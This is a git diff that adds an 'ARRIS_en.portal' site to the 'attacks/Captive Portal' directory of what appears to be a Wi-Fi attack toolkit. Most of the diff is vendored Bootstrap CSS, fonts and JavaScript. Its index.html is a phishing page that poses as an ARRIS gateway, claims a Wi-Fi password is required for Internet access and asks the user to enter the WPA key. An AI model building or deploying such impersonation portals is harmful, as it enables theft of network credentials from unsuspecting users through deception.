bottom margin like all other inputs\n }\n // but override that for button groups\n .btn-group .btn + .btn {\n margin-left: -1px;\n }\n // and override it for block buttons as well\n .btn-block + .btn-block {\n margin-left: 0;\n }\n}\n\n// Measure scrollbar width for padding body during modal show/hide\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n\n// Scale up the modal\n@media (min-width: @screen-sm-min) {\n // Automatically set modal's width for larger viewports\n .modal-dialog {\n width: @modal-md;\n margin: 30px auto;\n }\n .modal-content {\n .box-shadow(0 5px 15px rgba(0,0,0,.5));\n }\n\n // Modal sizes\n .modal-sm { width: @modal-sm; }\n}\n\n@media (min-width: @screen-md-min) {\n .modal-lg { width: @modal-lg; }\n}\n","//\n// Tooltips\n// --------------------------------------------------\n\n\n// Base class\n.tooltip {\n position: absolute;\n z-index: @zindex-tooltip;\n display: block;\n // Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.\n // So reset our font and text properties to avoid inheriting weird values.\n .reset-text();\n font-size: @font-size-small;\n\n .opacity(0);\n\n &.in { .opacity(@tooltip-opacity); }\n &.top { margin-top: -3px; padding: @tooltip-arrow-width 0; }\n &.right { margin-left: 3px; padding: 0 @tooltip-arrow-width; }\n &.bottom { margin-top: 3px; padding: @tooltip-arrow-width 0; }\n &.left { margin-left: -3px; padding: 0 @tooltip-arrow-width; }\n}\n\n// Wrapper for the tooltip content\n.tooltip-inner {\n max-width: @tooltip-max-width;\n padding: 3px 8px;\n color: @tooltip-color;\n text-align: center;\n background-color: @tooltip-bg;\n border-radius: @border-radius-base;\n}\n\n// Arrows\n.tooltip-arrow {\n position: absolute;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n// Note: Deprecated .top-left, .top-right, .bottom-left, and .bottom-right as of v3.3.1\n.tooltip {\n &.top .tooltip-arrow {\n bottom: 0;\n left: 50%;\n margin-left: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width @tooltip-arrow-width 0;\n border-top-color: @tooltip-arrow-color;\n }\n &.top-left .tooltip-arrow {\n bottom: 0;\n right: @tooltip-arrow-width;\n margin-bottom: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width @tooltip-arrow-width 0;\n border-top-color: @tooltip-arrow-color;\n }\n &.top-right .tooltip-arrow {\n bottom: 0;\n left: @tooltip-arrow-width;\n margin-bottom: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width @tooltip-arrow-width 0;\n border-top-color: @tooltip-arrow-color;\n }\n &.right .tooltip-arrow {\n top: 50%;\n left: 0;\n margin-top: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width @tooltip-arrow-width @tooltip-arrow-width 0;\n border-right-color: @tooltip-arrow-color;\n }\n &.left .tooltip-arrow {\n top: 50%;\n right: 0;\n margin-top: -@tooltip-arrow-width;\n border-width: @tooltip-arrow-width 0 @tooltip-arrow-width @tooltip-arrow-width;\n border-left-color: @tooltip-arrow-color;\n }\n &.bottom .tooltip-arrow {\n top: 0;\n left: 50%;\n margin-left: -@tooltip-arrow-width;\n border-width: 0 @tooltip-arrow-width @tooltip-arrow-width;\n border-bottom-color: @tooltip-arrow-color;\n }\n &.bottom-left .tooltip-arrow {\n top: 0;\n right: @tooltip-arrow-width;\n margin-top: -@tooltip-arrow-width;\n border-width: 0 @tooltip-arrow-width @tooltip-arrow-width;\n border-bottom-color: @tooltip-arrow-color;\n }\n &.bottom-right .tooltip-arrow {\n top: 0;\n left: @tooltip-arrow-width;\n margin-top: -@tooltip-arrow-width;\n border-width: 0 @tooltip-arrow-width @tooltip-arrow-width;\n border-bottom-color: @tooltip-arrow-color;\n }\n}\n",".reset-text() {\n font-family: @font-family-base;\n // We deliberately do NOT reset font-size.\n font-style: normal;\n font-weight: normal;\n letter-spacing: normal;\n line-break: auto;\n line-height: @line-height-base;\n text-align: left; // Fallback for where `start` is not supported\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n white-space: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n}\n","//\n// Popovers\n// --------------------------------------------------\n\n\n.popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: @zindex-popover;\n display: none;\n max-width: @popover-max-width;\n padding: 1px;\n // Our parent element can be arbitrary since popovers are by default inserted as a sibling of their target element.\n // So reset our font and text properties to avoid inheriting weird values.\n .reset-text();\n font-size: @font-size-base;\n\n background-color: @popover-bg;\n background-clip: padding-box;\n border: 1px solid @popover-fallback-border-color;\n border: 1px solid @popover-border-color;\n border-radius: @border-radius-large;\n .box-shadow(0 5px 10px rgba(0,0,0,.2));\n\n // Offset the popover to account for the popover arrow\n &.top { margin-top: -@popover-arrow-width; }\n &.right { margin-left: @popover-arrow-width; }\n &.bottom { margin-top: @popover-arrow-width; }\n &.left { margin-left: -@popover-arrow-width; }\n}\n\n.popover-title {\n margin: 0; // reset heading margin\n padding: 8px 14px;\n font-size: @font-size-base;\n background-color: @popover-title-bg;\n border-bottom: 1px solid darken(@popover-title-bg, 5%);\n border-radius: (@border-radius-large - 1) (@border-radius-large - 1) 0 0;\n}\n\n.popover-content {\n padding: 9px 14px;\n}\n\n// Arrows\n//\n// .arrow is outer, .arrow:after is inner\n\n.popover > .arrow {\n &,\n &:after {\n position: absolute;\n display: block;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n }\n}\n.popover > .arrow {\n border-width: @popover-arrow-outer-width;\n}\n.popover > .arrow:after {\n border-width: @popover-arrow-width;\n content: \"\";\n}\n\n.popover {\n &.top > .arrow {\n left: 50%;\n margin-left: -@popover-arrow-outer-width;\n border-bottom-width: 0;\n border-top-color: @popover-arrow-outer-fallback-color; // IE8 fallback\n border-top-color: @popover-arrow-outer-color;\n bottom: -@popover-arrow-outer-width;\n &:after {\n content: \" \";\n bottom: 1px;\n margin-left: -@popover-arrow-width;\n border-bottom-width: 0;\n border-top-color: @popover-arrow-color;\n }\n }\n &.right > .arrow {\n top: 50%;\n left: -@popover-arrow-outer-width;\n margin-top: -@popover-arrow-outer-width;\n border-left-width: 0;\n border-right-color: @popover-arrow-outer-fallback-color; // IE8 fallback\n border-right-color: @popover-arrow-outer-color;\n &:after {\n content: \" \";\n left: 1px;\n bottom: -@popover-arrow-width;\n border-left-width: 0;\n border-right-color: @popover-arrow-color;\n }\n }\n &.bottom > .arrow {\n left: 50%;\n margin-left: -@popover-arrow-outer-width;\n border-top-width: 0;\n border-bottom-color: @popover-arrow-outer-fallback-color; // IE8 fallback\n border-bottom-color: @popover-arrow-outer-color;\n top: -@popover-arrow-outer-width;\n &:after {\n content: \" \";\n top: 1px;\n margin-left: -@popover-arrow-width;\n border-top-width: 0;\n border-bottom-color: @popover-arrow-color;\n }\n }\n\n &.left > .arrow {\n top: 50%;\n right: -@popover-arrow-outer-width;\n margin-top: -@popover-arrow-outer-width;\n border-right-width: 0;\n border-left-color: @popover-arrow-outer-fallback-color; // IE8 fallback\n border-left-color: @popover-arrow-outer-color;\n &:after {\n content: \" \";\n right: 1px;\n border-right-width: 0;\n border-left-color: @popover-arrow-color;\n bottom: -@popover-arrow-width;\n }\n }\n}\n","//\n// Carousel\n// --------------------------------------------------\n\n\n// Wrapper for the slide container and indicators\n.carousel {\n position: relative;\n}\n\n.carousel-inner {\n position: relative;\n overflow: hidden;\n width: 100%;\n\n > .item {\n display: none;\n position: relative;\n .transition(.6s ease-in-out left);\n\n // Account for jankitude on images\n > img,\n > a > img {\n &:extend(.img-responsive);\n line-height: 1;\n }\n\n // WebKit CSS3 transforms for supported devices\n @media all and (transform-3d), (-webkit-transform-3d) {\n .transition-transform(~'0.6s ease-in-out');\n .backface-visibility(~'hidden');\n .perspective(1000px);\n\n &.next,\n &.active.right {\n .translate3d(100%, 0, 0);\n left: 0;\n }\n &.prev,\n &.active.left {\n .translate3d(-100%, 0, 0);\n left: 0;\n }\n &.next.left,\n &.prev.right,\n &.active {\n .translate3d(0, 0, 0);\n left: 0;\n }\n }\n }\n\n > .active,\n > .next,\n > .prev {\n display: block;\n }\n\n > .active {\n left: 0;\n }\n\n > .next,\n > .prev {\n position: absolute;\n top: 0;\n width: 100%;\n }\n\n > .next {\n left: 100%;\n }\n > .prev {\n left: -100%;\n }\n > .next.left,\n > .prev.right {\n left: 0;\n }\n\n > .active.left {\n left: -100%;\n }\n > .active.right {\n left: 100%;\n }\n\n}\n\n// Left/right controls for nav\n// ---------------------------\n\n.carousel-control {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n width: @carousel-control-width;\n .opacity(@carousel-control-opacity);\n font-size: @carousel-control-font-size;\n color: @carousel-control-color;\n text-align: center;\n text-shadow: @carousel-text-shadow;\n background-color: rgba(0, 0, 0, 0); // Fix IE9 click-thru bug\n // We can't have this transition here because WebKit cancels the carousel\n // animation if you trip this while in the middle of another animation.\n\n // Set gradients for backgrounds\n &.left {\n #gradient > .horizontal(@start-color: rgba(0,0,0,.5); @end-color: rgba(0,0,0,.0001));\n }\n &.right {\n left: auto;\n right: 0;\n #gradient > .horizontal(@start-color: rgba(0,0,0,.0001); @end-color: rgba(0,0,0,.5));\n }\n\n // Hover/focus state\n &:hover,\n &:focus {\n outline: 0;\n color: @carousel-control-color;\n text-decoration: none;\n .opacity(.9);\n }\n\n // Toggles\n .icon-prev,\n .icon-next,\n .glyphicon-chevron-left,\n .glyphicon-chevron-right {\n position: absolute;\n top: 50%;\n margin-top: -10px;\n z-index: 5;\n display: inline-block;\n }\n .icon-prev,\n .glyphicon-chevron-left {\n left: 50%;\n margin-left: -10px;\n }\n .icon-next,\n .glyphicon-chevron-right {\n right: 50%;\n margin-right: -10px;\n }\n .icon-prev,\n .icon-next {\n width: 20px;\n height: 20px;\n line-height: 1;\n font-family: serif;\n }\n\n\n .icon-prev {\n &:before {\n content: '\\2039';// SINGLE LEFT-POINTING ANGLE QUOTATION MARK (U+2039)\n }\n }\n .icon-next {\n &:before {\n content: '\\203a';// SINGLE RIGHT-POINTING ANGLE QUOTATION MARK (U+203A)\n }\n }\n}\n\n// Optional indicator pips\n//\n// Add an unordered list with the following class and add a list item for each\n// slide your carousel holds.\n\n.carousel-indicators {\n position: absolute;\n bottom: 10px;\n left: 50%;\n z-index: 15;\n width: 60%;\n margin-left: -30%;\n padding-left: 0;\n list-style: none;\n text-align: center;\n\n li {\n display: inline-block;\n width: 10px;\n height: 10px;\n margin: 1px;\n text-indent: -999px;\n border: 1px solid @carousel-indicator-border-color;\n border-radius: 10px;\n cursor: pointer;\n\n // IE8-9 hack for event handling\n //\n // Internet Explorer 8-9 does not support clicks on elements without a set\n // `background-color`. We cannot use `filter` since that's not viewed as a\n // background color by the browser. Thus, a hack is needed.\n // See https://developer.mozilla.org/en-US/docs/Web/Events/click#Internet_Explorer\n //\n // For IE8, we set solid black as it doesn't support `rgba()`. For IE9, we\n // set alpha transparency for the best results possible.\n background-color: #000 \\9; // IE8\n background-color: rgba(0,0,0,0); // IE9\n }\n .active {\n margin: 0;\n width: 12px;\n height: 12px;\n background-color: @carousel-indicator-active-bg;\n }\n}\n\n// Optional captions\n// -----------------------------\n// Hidden by default for smaller viewports\n.carousel-caption {\n position: absolute;\n left: 15%;\n right: 15%;\n bottom: 20px;\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: @carousel-caption-color;\n text-align: center;\n text-shadow: @carousel-text-shadow;\n & .btn {\n text-shadow: none; // No shadow for button elements in carousel-caption\n }\n}\n\n\n// Scale up controls for tablets and up\n@media screen and (min-width: @screen-sm-min) {\n\n // Scale up the controls a smidge\n .carousel-control {\n .glyphicon-chevron-left,\n .glyphicon-chevron-right,\n .icon-prev,\n .icon-next {\n width: (@carousel-control-font-size * 1.5);\n height: (@carousel-control-font-size * 1.5);\n margin-top: (@carousel-control-font-size / -2);\n font-size: (@carousel-control-font-size * 1.5);\n }\n .glyphicon-chevron-left,\n .icon-prev {\n margin-left: (@carousel-control-font-size / -2);\n }\n .glyphicon-chevron-right,\n .icon-next {\n margin-right: (@carousel-control-font-size / -2);\n }\n }\n\n // Show and left align the captions\n .carousel-caption {\n left: 20%;\n right: 20%;\n padding-bottom: 30px;\n }\n\n // Move up the indicators\n .carousel-indicators {\n bottom: 20px;\n }\n}\n","// Clearfix\n//\n// For modern browsers\n// 1. The space content is one way to avoid an Opera bug when the\n// contenteditable attribute is included anywhere else in the document.\n// Otherwise it causes space to appear at the top and bottom of elements\n// that are clearfixed.\n// 2. The use of `table` rather than `block` is only necessary if using\n// `:before` to contain the top-margins of child elements.\n//\n// Source: http://nicolasgallagher.com/micro-clearfix-hack/\n\n.clearfix() {\n &:before,\n &:after {\n content: \" \"; // 1\n display: table; // 2\n }\n &:after {\n clear: both;\n }\n}\n","// Center-align a block level element\n\n.center-block() {\n display: block;\n margin-left: auto;\n margin-right: auto;\n}\n","// CSS image replacement\n//\n// Heads up! v3 launched with only `.hide-text()`, but per our pattern for\n// mixins being reused as classes with the same name, this doesn't hold up. As\n// of v3.0.1 we have added `.text-hide()` and deprecated `.hide-text()`.\n//\n// Source: https://github.com/h5bp/html5-boilerplate/commit/aa0396eae757\n\n// Deprecated as of v3.0.1 (has been removed in v4)\n.hide-text() {\n font: ~\"0/0\" a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n}\n\n// New mixin to use as of v3.0.1\n.text-hide() {\n .hide-text();\n}\n","//\n// Responsive: Utility classes\n// --------------------------------------------------\n\n\n// IE10 in Windows (Phone) 8\n//\n// Support for responsive views via media queries is kind of borked in IE10, for\n// Surface/desktop in split view and for Windows Phone 8. This particular fix\n// must be accompanied by a snippet of JavaScript to sniff the user agent and\n// apply some conditional CSS to *only* the Surface/desktop Windows 8. Look at\n// our Getting Started page for more information on this bug.\n//\n// For more information, see the following:\n//\n// Issue: https://github.com/twbs/bootstrap/issues/10497\n// Docs: http://getbootstrap.com/getting-started/#support-ie10-width\n// Source: http://timkadlec.com/2013/01/windows-phone-8-and-device-width/\n// Source: http://timkadlec.com/2012/10/ie10-snap-mode-and-responsive-design/\n\n@-ms-viewport {\n width: device-width;\n}\n\n\n// Visibility utilities\n// Note: Deprecated .visible-xs, .visible-sm, .visible-md, and .visible-lg as of v3.2.0\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n .responsive-invisibility();\n}\n\n.visible-xs-block,\n.visible-xs-inline,\n.visible-xs-inline-block,\n.visible-sm-block,\n.visible-sm-inline,\n.visible-sm-inline-block,\n.visible-md-block,\n.visible-md-inline,\n.visible-md-inline-block,\n.visible-lg-block,\n.visible-lg-inline,\n.visible-lg-inline-block {\n display: none !important;\n}\n\n.visible-xs {\n @media (max-width: @screen-xs-max) {\n .responsive-visibility();\n }\n}\n.visible-xs-block {\n @media (max-width: @screen-xs-max) {\n display: block !important;\n }\n}\n.visible-xs-inline {\n @media (max-width: @screen-xs-max) {\n display: inline !important;\n }\n}\n.visible-xs-inline-block {\n @media (max-width: @screen-xs-max) {\n display: inline-block !important;\n }\n}\n\n.visible-sm {\n @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n .responsive-visibility();\n }\n}\n.visible-sm-block {\n @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n display: block !important;\n }\n}\n.visible-sm-inline {\n @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n display: inline !important;\n }\n}\n.visible-sm-inline-block {\n @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n display: inline-block !important;\n }\n}\n\n.visible-md {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n .responsive-visibility();\n }\n}\n.visible-md-block {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n display: block !important;\n }\n}\n.visible-md-inline {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n display: inline !important;\n }\n}\n.visible-md-inline-block {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n display: inline-block !important;\n }\n}\n\n.visible-lg {\n @media (min-width: @screen-lg-min) {\n .responsive-visibility();\n }\n}\n.visible-lg-block {\n @media (min-width: @screen-lg-min) {\n display: block !important;\n }\n}\n.visible-lg-inline {\n @media (min-width: @screen-lg-min) {\n display: inline !important;\n }\n}\n.visible-lg-inline-block {\n @media (min-width: @screen-lg-min) {\n display: inline-block !important;\n }\n}\n\n.hidden-xs {\n @media (max-width: @screen-xs-max) {\n .responsive-invisibility();\n }\n}\n.hidden-sm {\n @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n .responsive-invisibility();\n }\n}\n.hidden-md {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n .responsive-invisibility();\n }\n}\n.hidden-lg {\n @media (min-width: @screen-lg-min) {\n .responsive-invisibility();\n }\n}\n\n\n// Print utilities\n//\n// Media queries are placed on the inside to be mixin-friendly.\n\n// Note: Deprecated .visible-print as of v3.2.0\n.visible-print {\n .responsive-invisibility();\n\n @media print {\n .responsive-visibility();\n }\n}\n.visible-print-block {\n display: none !important;\n\n @media print {\n display: block !important;\n }\n}\n.visible-print-inline {\n display: none !important;\n\n @media print {\n display: inline !important;\n }\n}\n.visible-print-inline-block {\n display: none !important;\n\n @media print {\n display: inline-block !important;\n }\n}\n\n.hidden-print {\n @media print {\n .responsive-invisibility();\n }\n}\n","// Responsive utilities\n\n//\n// More easily include all the states for responsive-utilities.less.\n.responsive-visibility() {\n display: block !important;\n table& { display: table !important; }\n tr& { display: table-row !important; }\n th&,\n td& { display: table-cell !important; }\n}\n\n.responsive-invisibility() {\n display: none !important;\n}\n"]} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/css/custom.css b/attacks/Captive Portal/sites/ARRIS_en.portal/css/custom.css new file mode 100644 index 0000000..f8e78ce --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/css/custom.css @@ -0,0 +1,42 @@ +li.disabled, li[disabled] { + cursor:not-allowed!important; +} + +li.disabled a, li[disabled] a { + /* Make the disabled links grayish*/ + color: #666!important; + /* And disable the pointer events */ + pointer-events: none; +} + + +html > body { + font-family: Helvetica +} + +html > body > nav header { + overflow: hidden; +} + +html > body > nav header > a.navbar-brand { + height:80px; + margin-top:-15px; + margin-bottom:-15px; +} + +html > body > nav header > a.navbar-brand img { + height:80px; + margin-top:-15px; + margin-bottom:-15px; +} + +html > body > nav header > a.navbar-brand span.text { + position:relative; + top:2px; + + font-family: Arial, Verdana; +} + +html > body > footer > section.rights { + text-align:center; +} diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.eot b/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.eot new file mode 100644 index 0000000..b93a495 Binary files /dev/null and b/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.eot differ diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.svg b/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.svg new file mode 100644 index 0000000..94fb549 --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.svg @@ -0,0 +1,288 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.ttf b/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.ttf new file mode 100644 index 0000000..1413fc6 Binary files /dev/null and b/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.ttf differ diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.woff b/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.woff new file mode 100644 index 0000000..9e61285 Binary files /dev/null and b/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.woff differ diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.woff2 b/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.woff2 new file mode 100644 index 0000000..64539b5 Binary files /dev/null and b/attacks/Captive Portal/sites/ARRIS_en.portal/fonts/glyphicons-halflings-regular.woff2 differ diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/images/arris-icon.png b/attacks/Captive Portal/sites/ARRIS_en.portal/images/arris-icon.png new file mode 100644 index 0000000..5a8128e Binary files /dev/null and b/attacks/Captive Portal/sites/ARRIS_en.portal/images/arris-icon.png differ diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/index.html b/attacks/Captive Portal/sites/ARRIS_en.portal/index.html new file mode 100644 index 0000000..443ecbc --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/index.html @@ -0,0 +1,2 @@ + + ARRIS Gateway

          Authentication Section

          Wireless Protected Access

          Your Wi-Fi security password is required to access the Internet, please authenticate to gain access.

          WPA Key

          Rights

          © 2017 ARRIS International Plc™.
          All rights reserved.

          \ No newline at end of file diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/js/bootstrap.js b/attacks/Captive Portal/sites/ARRIS_en.portal/js/bootstrap.js new file mode 100644 index 0000000..8a2e99a --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/js/bootstrap.js @@ -0,0 +1,2377 @@ +/*! + * Bootstrap v3.3.7 (http://getbootstrap.com) + * Copyright 2011-2016 Twitter, Inc. + * Licensed under the MIT license + */ + +if (typeof jQuery === 'undefined') { + throw new Error('Bootstrap\'s JavaScript requires jQuery') +} + ++function ($) { + 'use strict'; + var version = $.fn.jquery.split(' ')[0].split('.') + if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1) || (version[0] > 3)) { + throw new Error('Bootstrap\'s JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4') + } +}(jQuery); + +/* ======================================================================== + * Bootstrap: transition.js v3.3.7 + * http://getbootstrap.com/javascript/#transitions + * ======================================================================== + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // CSS TRANSITION SUPPORT (Shoutout: http://www.modernizr.com/) + // ============================================================ + + function transitionEnd() { + var el = document.createElement('bootstrap') + + var transEndEventNames = { + WebkitTransition : 'webkitTransitionEnd', + MozTransition : 'transitionend', + OTransition : 'oTransitionEnd otransitionend', + transition : 'transitionend' + } + + for (var name in transEndEventNames) { + if (el.style[name] !== undefined) { + return { end: transEndEventNames[name] } + } + } + + return false // explicit for ie8 ( ._.) + } + + // http://blog.alexmaccaw.com/css-transitions + $.fn.emulateTransitionEnd = function (duration) { + var called = false + var $el = this + $(this).one('bsTransitionEnd', function () { called = true }) + var callback = function () { if (!called) $($el).trigger($.support.transition.end) } + setTimeout(callback, duration) + return this + } + + $(function () { + $.support.transition = transitionEnd() + + if (!$.support.transition) return + + $.event.special.bsTransitionEnd = { + bindType: $.support.transition.end, + delegateType: $.support.transition.end, + handle: function (e) { + if ($(e.target).is(this)) return e.handleObj.handler.apply(this, arguments) + } + } + }) + +}(jQuery); + +/* ======================================================================== + * Bootstrap: alert.js v3.3.7 + * http://getbootstrap.com/javascript/#alerts + * ======================================================================== + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // ALERT CLASS DEFINITION + // ====================== + + var dismiss = '[data-dismiss="alert"]' + var Alert = function (el) { + $(el).on('click', dismiss, this.close) + } + + Alert.VERSION = '3.3.7' + + Alert.TRANSITION_DURATION = 150 + + Alert.prototype.close = function (e) { + var $this = $(this) + var selector = $this.attr('data-target') + + if (!selector) { + selector = $this.attr('href') + selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 + } + + var $parent = $(selector === '#' ? [] : selector) + + if (e) e.preventDefault() + + if (!$parent.length) { + $parent = $this.closest('.alert') + } + + $parent.trigger(e = $.Event('close.bs.alert')) + + if (e.isDefaultPrevented()) return + + $parent.removeClass('in') + + function removeElement() { + // detach from parent, fire event then clean up data + $parent.detach().trigger('closed.bs.alert').remove() + } + + $.support.transition && $parent.hasClass('fade') ? + $parent + .one('bsTransitionEnd', removeElement) + .emulateTransitionEnd(Alert.TRANSITION_DURATION) : + removeElement() + } + + + // ALERT PLUGIN DEFINITION + // ======================= + + function Plugin(option) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.alert') + + if (!data) $this.data('bs.alert', (data = new Alert(this))) + if (typeof option == 'string') data[option].call($this) + }) + } + + var old = $.fn.alert + + $.fn.alert = Plugin + $.fn.alert.Constructor = Alert + + + // ALERT NO CONFLICT + // ================= + + $.fn.alert.noConflict = function () { + $.fn.alert = old + return this + } + + + // ALERT DATA-API + // ============== + + $(document).on('click.bs.alert.data-api', dismiss, Alert.prototype.close) + +}(jQuery); + +/* ======================================================================== + * Bootstrap: button.js v3.3.7 + * http://getbootstrap.com/javascript/#buttons + * ======================================================================== + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // BUTTON PUBLIC CLASS DEFINITION + // ============================== + + var Button = function (element, options) { + this.$element = $(element) + this.options = $.extend({}, Button.DEFAULTS, options) + this.isLoading = false + } + + Button.VERSION = '3.3.7' + + Button.DEFAULTS = { + loadingText: 'loading...' + } + + Button.prototype.setState = function (state) { + var d = 'disabled' + var $el = this.$element + var val = $el.is('input') ? 'val' : 'html' + var data = $el.data() + + state += 'Text' + + if (data.resetText == null) $el.data('resetText', $el[val]()) + + // push to event loop to allow forms to submit + setTimeout($.proxy(function () { + $el[val](data[state] == null ? this.options[state] : data[state]) + + if (state == 'loadingText') { + this.isLoading = true + $el.addClass(d).attr(d, d).prop(d, true) + } else if (this.isLoading) { + this.isLoading = false + $el.removeClass(d).removeAttr(d).prop(d, false) + } + }, this), 0) + } + + Button.prototype.toggle = function () { + var changed = true + var $parent = this.$element.closest('[data-toggle="buttons"]') + + if ($parent.length) { + var $input = this.$element.find('input') + if ($input.prop('type') == 'radio') { + if ($input.prop('checked')) changed = false + $parent.find('.active').removeClass('active') + this.$element.addClass('active') + } else if ($input.prop('type') == 'checkbox') { + if (($input.prop('checked')) !== this.$element.hasClass('active')) changed = false + this.$element.toggleClass('active') + } + $input.prop('checked', this.$element.hasClass('active')) + if (changed) $input.trigger('change') + } else { + this.$element.attr('aria-pressed', !this.$element.hasClass('active')) + this.$element.toggleClass('active') + } + } + + + // BUTTON PLUGIN DEFINITION + // ======================== + + function Plugin(option) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.button') + var options = typeof option == 'object' && option + + if (!data) $this.data('bs.button', (data = new Button(this, options))) + + if (option == 'toggle') data.toggle() + else if (option) data.setState(option) + }) + } + + var old = $.fn.button + + $.fn.button = Plugin + $.fn.button.Constructor = Button + + + // BUTTON NO CONFLICT + // ================== + + $.fn.button.noConflict = function () { + $.fn.button = old + return this + } + + + // BUTTON DATA-API + // =============== + + $(document) + .on('click.bs.button.data-api', '[data-toggle^="button"]', function (e) { + var $btn = $(e.target).closest('.btn') + Plugin.call($btn, 'toggle') + if (!($(e.target).is('input[type="radio"], input[type="checkbox"]'))) { + // Prevent double click on radios, and the double selections (so cancellation) on checkboxes + e.preventDefault() + // The target component still receive the focus + if ($btn.is('input,button')) $btn.trigger('focus') + else $btn.find('input:visible,button:visible').first().trigger('focus') + } + }) + .on('focus.bs.button.data-api blur.bs.button.data-api', '[data-toggle^="button"]', function (e) { + $(e.target).closest('.btn').toggleClass('focus', /^focus(in)?$/.test(e.type)) + }) + +}(jQuery); + +/* ======================================================================== + * Bootstrap: carousel.js v3.3.7 + * http://getbootstrap.com/javascript/#carousel + * ======================================================================== + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // CAROUSEL CLASS DEFINITION + // ========================= + + var Carousel = function (element, options) { + this.$element = $(element) + this.$indicators = this.$element.find('.carousel-indicators') + this.options = options + this.paused = null + this.sliding = null + this.interval = null + this.$active = null + this.$items = null + + this.options.keyboard && this.$element.on('keydown.bs.carousel', $.proxy(this.keydown, this)) + + this.options.pause == 'hover' && !('ontouchstart' in document.documentElement) && this.$element + .on('mouseenter.bs.carousel', $.proxy(this.pause, this)) + .on('mouseleave.bs.carousel', $.proxy(this.cycle, this)) + } + + Carousel.VERSION = '3.3.7' + + Carousel.TRANSITION_DURATION = 600 + + Carousel.DEFAULTS = { + interval: 5000, + pause: 'hover', + wrap: true, + keyboard: true + } + + Carousel.prototype.keydown = function (e) { + if (/input|textarea/i.test(e.target.tagName)) return + switch (e.which) { + case 37: this.prev(); break + case 39: this.next(); break + default: return + } + + e.preventDefault() + } + + Carousel.prototype.cycle = function (e) { + e || (this.paused = false) + + this.interval && clearInterval(this.interval) + + this.options.interval + && !this.paused + && (this.interval 